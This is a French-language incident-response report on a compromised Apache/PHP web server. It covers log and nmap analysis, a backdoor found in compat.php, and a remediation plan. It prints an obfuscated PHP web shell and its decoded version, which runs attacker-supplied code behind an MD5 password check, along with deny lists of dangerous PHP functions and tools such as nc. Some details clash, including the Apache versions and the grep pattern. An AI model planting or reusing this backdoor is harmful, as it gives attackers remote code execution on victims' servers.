Table of Contents
Procédure de recherche
- Analyse des logs (/var/log)
- Identification d’un accès sur une backdoor (compat.php)
- Analyse du code de cette backdoorAccès authentifié par mot de passe
- Code de la backdoor mis dans fonction gzinflate(base64_decode(*)) dans le fichier compat.php
- Analyse de la backdoor (décodage grâce à http://www.decoder-online.com)
- Mot de passe MD5 : ff6cb56b876eedf90b5bca2c0a210f91
- Analyse nmap de l’extérieur :
Not shown: 999 open|filtered ports, 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.2
80/tcp open http Apache httpd 2.2.8 ((Unix) PHP/5.2.5)
|_http-favicon: Unknown favicon MD5: 3AD8FECBDE088AF038C26EE5A5F40D5B
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Site doesn't have a title (text/html).
8080/tcp closed http-proxy
4672/udp closed rfa
Analyse des logs (/var/log/secure)
Récupération des localisations via : http://www.iplocation.net/index.php
La « porte dérobée » ou backdoor
Donne un accès total sur le serveur avec la liste des exploits connus, les accès systèmes ainsi que la liste des fonctions désactivées sous PHP.
Dans /var/www :
grep -R * -e 'gzipinflate(base64'
Cette commande a renvoyé 6 fichiers présents sur le serveur contenant une copie de la backdoor.
Côté système
Vieille version du système d’exploitation, aucune mise à jour récente.
Version d’apache obsolète 2.0.52 (24 mai 2006)
Pour aller plus loin
Utilisez un outil de détection de RootKits tel que chkrootkit.
Lancement de Web Shell Detector ( https://github.com/emposha/PHP-Shell-Detector)
- Plusieurs codes malicieux découverts
- Type de code encodé en base 64 :
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydjaCddKSAmJiAobWQ1KCRfUkVRVUVTVFsnY2gnXSkgPT0gJzc0MjUzYjUxNjIzNmI1ZmZiZTM1NzFlM2I5MTNiMzZhJykgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29kZSddKSkgeyBldmFsKCRfUkVRVUVTVFsncGhwX2NvZGUnXSk7IGV4aXQoKTsgfQ=='));
Ce qui donne :
if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '74253b516236b5ffbe3571e3b913b36a') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); }
Plan d’actions d’urgence préconisé
- Bloquer l’accès au serveur (via FTP, etc) et n’accorder que le port 80 ou 443
- Bloquer les accès depuis IP suspicieuses
- Faire un grep (sur base64_decode et gzip_inflate) sur tout le serveur et supprimer les scripts dangereux
- Réinstaller un serveur
- avec un apache récent (et mis à jour automatiquement)
- avec kernel récent
- Si vraiment nécessaire : accès ftps (ou sftp) chrooté avec politique et modification des mots de passe
- avec sauvegarde automatique du DocumentRoot sur un svn (permet de voir les diffs en cas de soucis)
- Supprimer les commandes systèmes jugées « dangereuses » via yum remove ou rm pour make (à cause de dépendances) : gcc, make, nc
- Désactiver les fonctions PHP « dangereuses » comme « eval » dans php.ini :
- disable_functions=exec,eval,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Mise en place d’une nouvelle architecture sécurisée
- Installation d’un reverse proxy Apache ou Nginx (au choix) en DMZ
- Installation serveur final avec mod_security et/ou mod_evasive
- Accès FTP en mode reverse proxy via Pydio (anciennement ajaxplorer)
Installation de Linux Malware Detect
chmod +x install.php ./install.php #MAJ signatures maldet -u #MAJ programme maldet -p #Detection dans /var/www maldet -a /var/www/ #Analyse du rapport maldet --report #Nettoyage fichiers du rapport 100713-1111.16205 maldet --clean 100713-1111.16205